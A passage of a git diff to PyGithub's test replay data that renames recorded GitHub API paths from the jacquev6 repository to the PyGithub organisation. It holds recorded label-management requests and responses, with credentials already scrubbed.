('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"color":"eb6420","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip"} +{"color":"eb6420","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip"} https GET api.github.com None -/repos/jacquev6/PyGithub/labels/refactoring +/repos/PyGithub/PyGithub/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '113'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b659c8dcc1212c71f826547c3cc7ae99"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} +{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"} https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels/wip +/repos/PyGithub/PyGithub/issues/31/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels/refactoring +/repos/PyGithub/PyGithub/issues/31/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https POST api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] - +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] diff --git a/tests/ReplayData/PullRequest.testAddAndRemoveLabelsWithStringArguments.txt b/tests/ReplayData/PullRequest.testAddAndRemoveLabelsWithStringArguments.txt index 0ab58677b8..251c45829e 100644 --- a/tests/ReplayData/PullRequest.testAddAndRemoveLabelsWithStringArguments.txt +++ b/tests/ReplayData/PullRequest.testAddAndRemoveLabelsWithStringArguments.txt @@ -2,76 +2,75 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels/wip +/repos/PyGithub/PyGithub/issues/31/labels/wip {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '229'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels/refactoring +/repos/PyGithub/PyGithub/issues/31/labels/refactoring {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '115'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https POST api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] - +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] diff --git a/tests/ReplayData/PullRequest.testCreateComment.txt b/tests/ReplayData/PullRequest.testCreateComment.txt index 2f41d6616c..f8fa246dd4 100644 --- a/tests/ReplayData/PullRequest.testCreateComment.txt +++ b/tests/ReplayData/PullRequest.testCreateComment.txt @@ -2,21 +2,20 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} 